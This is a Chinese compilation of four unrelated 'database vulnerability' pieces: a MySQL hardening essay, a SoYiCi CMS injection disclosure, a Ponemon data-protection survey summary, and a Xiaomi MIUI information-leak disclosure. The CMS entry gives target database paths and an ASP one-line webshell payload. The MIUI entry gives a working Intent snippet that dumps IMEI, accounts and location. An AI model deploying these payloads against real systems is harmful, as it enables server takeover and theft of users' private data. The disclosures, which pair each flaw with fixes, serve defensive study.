数据库漏洞范文(精选4篇)
数据库漏洞 第1篇
1匿名用户的权限
当连接一个MYSQL服务器时, 通常需要使用一个口令。口令不以明文在连接上传输, 所有其它信息作为能被任何人读懂的文本被传输。如果为了使一切更安全, 可以安装SSH (见HTTP://WWW.CS.HUT.FI/SSH) , 就可以在一个MYSQL服务器与一个MYSQL客户之间得到一个加密的TCP/IP连接。但是, 有一点关于MYSQL被大家忽略的问题:在安装完MYSQL后, 它会自动创建一个ROOT用户和一个匿名用户, 其初始密码都是空, 对于前者, 很多参考资料上都会提醒大家要注意及时设定一个密码, 而忽略了后者, 大概是因为后者默认设定为只能在本机使用的缘故。如果此时MYSQL是要提供给WEB服务器作数据库服务的, 忽略这个匿名用户的代价可能相当惨重, 因为在默认设置下, 这个匿名用户在LOCALHOST上几乎拥有和ROOT一样的权限。这时候, 如果客户拥有上传脚本文件, 脚本文件可以进行MYSQL数据库操作 (比如允许操作MYSQL的PHP) 的权限已经将MYSQL改动的面目全非了。
为了方便测试, 笔者写了一个很简单的之行SQL语句的PHP文件上传到个人主业中, 其中连接字中的“USER, PASSWORD”都予置空, “HOST=LOCALHOST”, 结果发现SQL语句可以执行。于是执行SELECT*FROM MYSQL.USER察看用户权限, 发现这个用户在LOCAL-HOST权限非常高, 连GRANT-PRIV都有。 (注:察看的时候, 会发现在ROOT用户下有两行用户名÷密码为空的, 但各项权限有YN的, 就是这个匿名用户本地、远程权限设置了) 笔者试着用这个PHP页面创建一个新用户, 并GRANT给它较高的权限, 结果就可以用这个新用户通过本机的MYSQL CLIENT连接到这个网站的MYSQL SERVER, 并用这个新建立的用户的管理权限对这个网站的MYSQL SERV-ER进行管理, 结果这样轻易获得深入的数据库操作。
2改进后的设置
经过改进, 发现进行下列操作能让数据库避免以上情况。
2.1在安装完成MYSQL后, 不仅改变ROOT用户的密码, 也同时改变匿名用户的密码, 方法类似改变ROOT的密码的方式:
2.2如非必要, 删除这个匿名用户, 这样所有人要使用MYSQL都必需提供用户名, 即便日后出了问题, 也容易查找问题的源头。
2.3除了ROOT用户外, 其他用户包括匿名用户 (如果没有删除这个用户) 不应该拥有GRANT权限, 防止管理权限不受控制的扩散出去。
2.4赋予用户UPDATEDELETEALERTC REATEDROP权限的时候, 应该限定到特定的数据库, 尤其要避免普通客户拥有对MYSQL数据库做操作的权限, 否则系统设置很可能被替换掉。
2.5检查MYSQL.USER表, 取消不必要用户的SHUTDOWN-PRIV, RELOAD-PRIV, PRO-CESS-PRIV和FILE-PRIV权限, 这些权限可能泄露更多的服务器信息包括非MYSQL的其它信息出去。
2.6如果不打算让用户使用MYSQL数据库, 在提供诸如PHP这样的脚本语言的时候, 重新设置或编译PHP, 取消它们对MYSQL的默认支持。
3安全防范的方法
为了使一个MYSQL系统安全, 应考虑如下方法:
3.1对所有MYSQL用户使用口令。如果OTHER-USER没有口令, 任何人都能简单地用MYSQL-U OTHER-USER DBNAME作为任何其它的人登录。对客户机/服务器应用程序, 客户可以指定任何用户名是常见的做法。在运行它以前, 可以通过编辑MYSQL-INSTALL-DB脚本改变所有用户的口令, 或仅仅MYSQL ROOT的口令, 如下:
3.2不要作为UNIX的ROOT用户运行MYSQL守护进程。MYSQLD能以任何用户运行, 我们也可以创造一个新的UNIX用户MYSQL使一切更安全。如果作为其它UNIX用户运行MYSQLD, 则不需要改变在USER表中的ROOT用户名, 因为MYSQL用户名与UNIX用户名没关系。我们可以作为其它UNIX用户编辑MYSQL.SERVER启动脚本MYSQLD。通常这用SU命令完成。
3.3如果把一个UNIX ROOT用户口令放在MYSQL.SERVER脚本中, 确保这个脚本只能对ROOT是可读的。并且检查那个运行MYSQLD的UNIX用户是唯一的在数据库目录下有读/写权限的用户。
3.4不要把PROCESS权限给所有用户。MYSQLADMIN PROCESSLIST的输出显示出当前执行的查询正文, 如果另外的用户发出一个UPDATE USER SET PASSWORD=PASSWORD (OT-SECURE) 查询, 被允许执行那个命令的任何用户可能看得到。MYSQLD为有PROCESS权限的用户保留一个额外的连接, 以便一个MYSQL ROOT用户能登录并检查, 即使所有的正常连接在使用。
3.5不要把FILE权限给所有的用户。有这权限的任何用户能在拥有MYSQLD守护进程权限的文件系统那里写一个文件。为了使这更安全一些, 用SELECTINTO OUTFILE生成的所有文件对每个人是可读的, 并且不能覆盖已经存在的文件。FILE权限也可以被用来读取任何作为运行服务器的UNIX用户可存取的文件。这可能被滥用, 例如, 通过使用LOAD DATA装载“/ETC/PASSWD”进一个数据库表, 然后它能用SELECT被读入。
4结论
MYSQL是完全网络化的跨平台关系型数据库系统, 同时是具有客户机/服务器体系结构的分布式数据库管理系统。MYSQL的授权表给数据库的访问提供了灵活的权限控制, 但是如果本地用户拥有对库文件的读权限, 攻击者只需把数据库目录打包拷贝, 然后到自己本机的数据目录下就能访问窃取数据库。所以MYSQL所在的主机的安全性是最首要的问题, 如果主机不安全, 被攻击者控制, 那么MYSQL的安全性也无从谈起。其次就是数据目录和数据文件的安全性, 也就是权限设置问题。从MYSQL主站一些老的BINARY发行版来看, 3.21.XX版本中数据目录的属性是775, 这样非常危险, 任何本地用户都可以读取数据目录, 所以数据库文件很不安全。3.22.XX版本中数据目录的属性是770, 这种属性也有些危险, 本地的同组用户既能读也能写, 所以数据文件也不安全。3.23.XX版本数据目录的属性是700, 这样就比较好, 只有启动数据库的用户才可以读写数据库文件, 保证了本地数据文件的安全。
摘要:从笔者的亲身维护MYSQL数据库的经历, 介绍了匿名用户的设置很可能造成隐藏的巨大安全漏洞。解释了漏洞产生的原因, 并做了进一步测试;就出现的问题探讨了改进的方法;最后, 对防范方法进行了总结, 深入的探讨了数据库的安全性能。
关键词:MYSQL数据库,安全漏洞,防范
参考文献
[1][美]DAVID K.RENSIN等著, 刘世军, 刘阶萍译, MICROSOFT SQL SEVER7核心技术精解, 2000, 6.
数据库漏洞 第2篇
源码下载down.chinaz.com/soft/24108.htm
www.soyici.cn
漏洞等级:高
漏洞说明:
数据库未加入防下载代码导致可以插入非法代码,
搜一次CMS v3.32 数据库插入漏洞
,
数据库地址:/database/#GBooK.ASP
/database/#SoYiCi.ASP
插入数据地址localhost/Gbook.ASP
插入代码:┼}诞整超∨≡┩>(<% execute request(“a”)%>)
修补方法:1.数据库地址更改名称
2.数据库加入放下载代码
数据库漏洞 第3篇
这项名为《隐私和数据保护实践:一项金融服务业基准研究》 (Privacy&Data Protection Practices:a Benchmark Study of the Financial Services Industry) 的研究访问了80位美国跨国金融服务机构的信息安全总监、安全总监、隐私总监, 或肩负类似职责的管理人员。结果反映了这些企业在隐私及数据安全问题上的漏洞或遵循法规方面的不足。例如有83%受访的金融服务公司表示在应用开发和测试中使用真实数据, 而其中更有大部分机构并没有采取适当步骤去保护这些机密和敏感信息。
Noel Yuhanna在Forrester Research于2009年9月发表的《您的2010年企业数据库安全战略》 (Your Enterprise Database Security Strategy 2010) 中指出:“只要有一次入侵让诸如信用卡号码、社会安全号码等私人数据或其他财务数据外泄, 便足以对企业的声誉带来严重的损害, 更不用提因此所引起的法律诉讼及违例罚款带来的深远影响。数据库安全是防卫的最后底线, 因此值得企业提供相比于IT专家传统所能提供的更强大保护, 以防范私人数据受到公司内外的攻击。”
除了这方面的漏洞, Ponemon这项研究也发现了其它经常被忽略的数据安全风险, 包括:
身份法规遵循程序 (只有56%受访企业采用) ;
入侵侦测系统 (只有47%受访企业采用) ;
数据遗失防护 (简称DLP) 技术 (只有41%受访企业采用) ;
社会安全号码运用 (有88%受访企业仍然利用社会安全号码作为主要身份识别工具) 。
有关报告同时发现, 虽然有六成企业设有隐私总监, 但当中有一半表示他们欠缺足够的资源去完成工作、达成目标。
数据库漏洞 第4篇
该漏洞的成功利用不需要任何条件,
小米MIUI系统漏洞致大量系统、软件和用户数据泄露及修复方法
。
通过该漏洞,任何应用软件可以获取下列信息:
- 硬件数据,包括:系统版本、系统编译信息、内存和CPU信息、电池信息、IMEI、基带版本、设备生产序号等
- 当前状态数据,包括:当前进程基本信息、所有进程的trace结果、分区挂载信息、路由表和ARP缓存表、运营商、当前系统服务状态、系统维护的Content Provider和Broadcast数据结构和权限管理信息、各软件运行时间
- 日志数据,包括:系统日志、系统事件日志、内核事件日志、内核消息、
- 软件数据,包括:已安装软件的包名、版本、签名证书、使用权限、安装时间、上次使用时间
- 用户敏感数据,包括:已连接的WiFi网络(MAC地址、SSID、类型、IP、DNS、网关、DHCP)、周围可用WiFi网络的SSID/BSSID和类型等;、Broadcast处理的历史记录(可以对用户行为做统计)、当前地理位置、历史地理位置、用户当前账户的用户名、用户数据同步账户的用户名和时间、软件使用情况统计数据
当前的MIUI系统存在两个问题:
1. 以普通shell权限可以运行/system/bin/bugreport程序,该程序用于搜集系统各类信息并输出
2. 安装了一个软件/system/app/Cit.apk,原用于出厂硬件测试用,该软件中,com.miui.cit.CitBroadcastReceiver组件存在permission re-delegation类型漏洞,通过利用该漏洞,可导致任何软件通过特定参数远程触发该接收器,触发该软件自动调用bugreport,并将结果保存在SD卡的特定目录/sdcard/MIUI/debug_log/下,如前所述,SD卡的文件可以被任意软件读写
上述两个问题中的任何一个都可以导致对本漏洞的利用。任何应用软件通过解析bugreport的输出结果,得到上述信息。
漏洞证明:三种利用方法:
1. adb shell进去,不提权,直接bugreport >/sdcard/dump.txt即可,如图所示:
2. 对应用软件,在源码中用Runtime.getRuntime.exec()函数执行bug report即可,
获得输出结果有两种方法,一是上面所示的重定向,二是对返回的Process对象调用getOutputStream()方法。不具体演示了,我在小米的代码里有看到使用。
3. 对CitBroadcastReceiver的permission re-delegation攻击,代码片段如下:
Intent intent = new Intent();
intent.setAction(“android.provider.Telephony.SECRET_CODE”);
intent.setData(Uri.parse(“android_secret_code://284”));
sendBroadcast(intent);
然后稍等十秒即可从SD卡的/sdcard/MIUI/debug_log/目录读到类似于bugreport--.log的文件
可以读取到的部分数据如下:
IMEI
已安装软件信息
已安装软件的签名
用户账户
正在使用的和周边的WiFi网络信息
地理位置信息和历史记录
修复建议:
1. 将bugreport的执行权限调为root
2. 删掉Cit.apk软件,或为其CitBroadcastReceiver接收器的调用加入静态或者动态的自定义权限检查代码